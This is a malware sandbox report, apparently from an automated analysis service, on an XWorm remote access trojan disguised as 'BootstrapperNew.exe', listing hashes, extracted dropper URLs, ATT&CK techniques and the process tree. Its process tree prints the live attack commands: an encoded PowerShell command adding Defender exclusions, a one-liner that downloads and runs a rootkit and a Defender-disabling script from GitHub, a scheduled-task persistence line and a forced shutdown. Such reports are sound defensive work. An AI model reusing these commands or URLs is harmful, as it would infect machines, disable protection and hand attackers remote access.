xworm | 03cc93bdaefa6e5db157062dd90b796ff6a8f2f172e3be278e604ba9808f9ce4

Reason

Machine shutdown

General

Target

BootstrapperNew.exe
Size

2.9MB
MD5

2326d97462601f0bf84459a19a23a307
SHA1

b6d153b9984ad82202997707fe5e4fd135d3afb6
SHA256

03cc93bdaefa6e5db157062dd90b796ff6a8f2f172e3be278e604ba9808f9ce4
SHA512

fccf56201ca30da42c15d769a1af38d87f8bdc0562327096893e81738ad7a4a7e3c00cb425144e1ffa10d9e0e0f39fdd7e5287f74f88e4aa971aa3cc3e988568
SSDEEP

49152:fCPqFzmYUMGs67ueIJdjo+fR60CqtZ4HdBJqlCmir3C7uXwonp1UECFgBT:f/DXVAu/kE69HHdB8lnirSSJqE+gT

Score

10^/10

xworm defense_evasion discovery execution persistence rat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe

exe.dropper

https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Extracted

Family

xworm

Attributes

Install_directory
%port%
install_file
svchost.exe
pastebin_url
https://pastebin.com/raw/J42c6s7r

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0008000000015ed2-8.dat	family_xworm
behavioral1/memory/648-11-0x0000000000CD0000-0x0000000000CE4000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	772	powershell.exe
6	772	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
772	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
3032	BootstrapperNew.exe
648	Local Security Authority Process.exe
1220	Process not Found

Loads dropped DLL 2 IoCs

pid	Process
2796	BootstrapperNew.exe
1220	Process not Found

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Windows\CurrentVersion\Run\Local Security Authority Process = "C:\\Users\\Admin\\AppData\\Roaming\\Local Security Authority Process.exe"	Local Security Authority Process.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
13	raw.githubusercontent.com
16	raw.githubusercontent.com
8	pastebin.com
9	pastebin.com
12	raw.githubusercontent.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Local Security Authority Process.exe	BootstrapperNew.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BootstrapperNew.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2044	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2784	powershell.exe
772	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	648	Local Security Authority Process.exe
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeDebugPrivilege	772	powershell.exe
Token: SeShutdownPrivilege	1552	shutdown.exe
Token: SeRemoteShutdownPrivilege	1552	shutdown.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 2796 wrote to memory of 2784	2796	BootstrapperNew.exe	31
PID 2796 wrote to memory of 2784	2796	BootstrapperNew.exe	31
PID 2796 wrote to memory of 2784	2796	BootstrapperNew.exe	31
PID 2796 wrote to memory of 2784	2796	BootstrapperNew.exe	31
PID 2796 wrote to memory of 3032	2796	BootstrapperNew.exe	33
PID 2796 wrote to memory of 3032	2796	BootstrapperNew.exe	33
PID 2796 wrote to memory of 3032	2796	BootstrapperNew.exe	33
PID 2796 wrote to memory of 3032	2796	BootstrapperNew.exe	33
PID 2796 wrote to memory of 648	2796	BootstrapperNew.exe	34
PID 2796 wrote to memory of 648	2796	BootstrapperNew.exe	34
PID 2796 wrote to memory of 648	2796	BootstrapperNew.exe	34
PID 2796 wrote to memory of 648	2796	BootstrapperNew.exe	34
PID 648 wrote to memory of 772	648	Local Security Authority Process.exe	35
PID 648 wrote to memory of 772	648	Local Security Authority Process.exe	35
PID 648 wrote to memory of 772	648	Local Security Authority Process.exe	35
PID 648 wrote to memory of 2044	648	Local Security Authority Process.exe	37
PID 648 wrote to memory of 2044	648	Local Security Authority Process.exe	37
PID 648 wrote to memory of 2044	648	Local Security Authority Process.exe	37
PID 648 wrote to memory of 1552	648	Local Security Authority Process.exe	40
PID 648 wrote to memory of 1552	648	Local Security Authority Process.exe	40
PID 648 wrote to memory of 1552	648	Local Security Authority Process.exe	40

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\BootstrapperNew.exe
"C:\Users\Admin\AppData\Local\Temp\BootstrapperNew.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2796
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAaQB1ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG0AZQB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGsAaAB2ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAeABiACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2784
- C:\Users\Admin\AppData\Local\BootstrapperNew.exe
  "C:\Users\Admin\AppData\Local\BootstrapperNew.exe"
  2⤵
  - Executes dropped EXE
  PID:3032
- C:\Windows\Local Security Authority Process.exe
  "C:\Windows\Local Security Authority Process.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:648
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:772
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "Local Security Authority Process" /tr "C:\Users\Admin\AppData\Roaming\Local Security Authority Process.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2044
- - C:\Windows\system32\shutdown.exe
    shutdown.exe /f /s /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1552

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0
1⤵
PID:1736

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x1
1⤵
PID:2332

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Modify Registry

1

T1112

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
71KB

MD5
83142242e97b8953c386f988aa694e4a

SHA1
833ed12fc15b356136dcdd27c61a50f59c5c7d50

SHA256
d72761e1a334a754ce8250e3af7ea4bf25301040929fd88cf9e50b4a9197d755

SHA512
bb6da177bd16d163f377d9b4c63f6d535804137887684c113cc2f643ceab4f34338c06b5a29213c23d375e95d22ef417eac928822dfb3688ce9e2de9d5242d10

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar284F.tmp

Filesize
183KB

MD5
109cab5505f5e065b63d01361467a83b

SHA1
4ed78955b9272a9ed689b51bf2bf4a86a25e53fc

SHA256
ea6b7f51e85835c09259d9475a7d246c3e764ad67c449673f9dc97172c351673

SHA512
753a6da5d6889dd52f40208e37f2b8c185805ef81148682b269fff5aa84a46d710fe0ebfe05bce625da2e801e1c26745998a41266fa36bf47bc088a224d730cc

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YNG03JCUDWMLQHY0851B.temp

Filesize
7KB

MD5
97ae5e5df9a7373f2a7aeaf3c77fbb3b

SHA1
02c9586347b29950677aa7d4368ee96d5e7a311f

SHA256
88c21cde1a2abf1c3c8c1af658ec9227226b32367e24aa7d1fa91b7af45db451

SHA512
2d55ebe096a865e6b2c4990a3acb56df9938a63c6832d6fd233b52f76bd5298a2072d69ff18387259b5ff64e7e671ef090ab72418c4bc3f6e39caf26e3632538

Download Submit
C:\Windows\Local Security Authority Process.exe

Filesize
55KB

MD5
cc170e6bb05ddb76e910e86ebb984d3c

SHA1
3a7473e8d705754257ae685db2d9a0f125a814aa

SHA256
b93f4dcb4b2b68370c18e6a7df1ea4d2c588826d6712d8e1493955c81735718b

SHA512
0d1b32949e6e3fd398b9ca783eabe870e807985958018036f1a0880870d8649dd31c13a8723e32a1a8869c6c7646f1e64a4d10fbcc73ffa4829aaf8ffd3fe28a

Download Submit
\Users\Admin\AppData\Local\BootstrapperNew.exe

Filesize
2.9MB

MD5
f227cdfd423b3cc03bb69c49babf4da3

SHA1
3db5a97d9b0f2545e7ba97026af6c28512200441

SHA256
cb5d6c1ca0aa6232a2d55e14b20ac4a9945a0bd063c57d60a5ed3ae94160e3e8

SHA512
b10afd03b02a928545c16fad39a6ae46b68b1e1a2477a6990803ce80008e7161fb2ebc9380ba15a1b074bb436aa34bcd6c94a922933d438b1c22489717e1e10e

Download Submit
memory/648-11-0x0000000000CD0000-0x0000000000CE4000-memory.dmp

Filesize
80KB

Download
memory/772-33-0x000000001B7A0000-0x000000001BA82000-memory.dmp

Filesize
2.9MB

Download
memory/772-34-0x00000000027E0000-0x00000000027E8000-memory.dmp

Filesize
32KB

Download
memory/3032-15-0x0000000000160000-0x000000000016A000-memory.dmp

Filesize
40KB

Download
memory/3032-22-0x0000000000B50000-0x0000000000B76000-memory.dmp

Filesize
152KB

Download
memory/3032-23-0x0000000000FD0000-0x0000000000FD8000-memory.dmp

Filesize
32KB

Download
memory/3032-24-0x0000000000FE0000-0x0000000000FF6000-memory.dmp

Filesize
88KB

Download
memory/3032-25-0x0000000000FC0000-0x0000000000FCA000-memory.dmp

Filesize
40KB

Download
memory/3032-26-0x00000000009B0000-0x00000000009BA000-memory.dmp

Filesize
40KB

Download
memory/3032-27-0x0000000001000000-0x0000000001008000-memory.dmp

Filesize
32KB

Download
memory/3032-21-0x00000000009C0000-0x00000000009CA000-memory.dmp

Filesize
40KB

Download
memory/3032-20-0x000000001C7C0000-0x000000001C8C0000-memory.dmp

Filesize
1024KB

Download
memory/3032-17-0x0000000000160000-0x0000000000170000-memory.dmp

Filesize
64KB

Download
memory/3032-36-0x0000000000160000-0x000000000016A000-memory.dmp

Filesize
40KB

Download
memory/3032-16-0x0000000000160000-0x000000000016A000-memory.dmp

Filesize
40KB

Download
memory/3032-12-0x00000000012D0000-0x00000000015B2000-memory.dmp

Filesize
2.9MB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads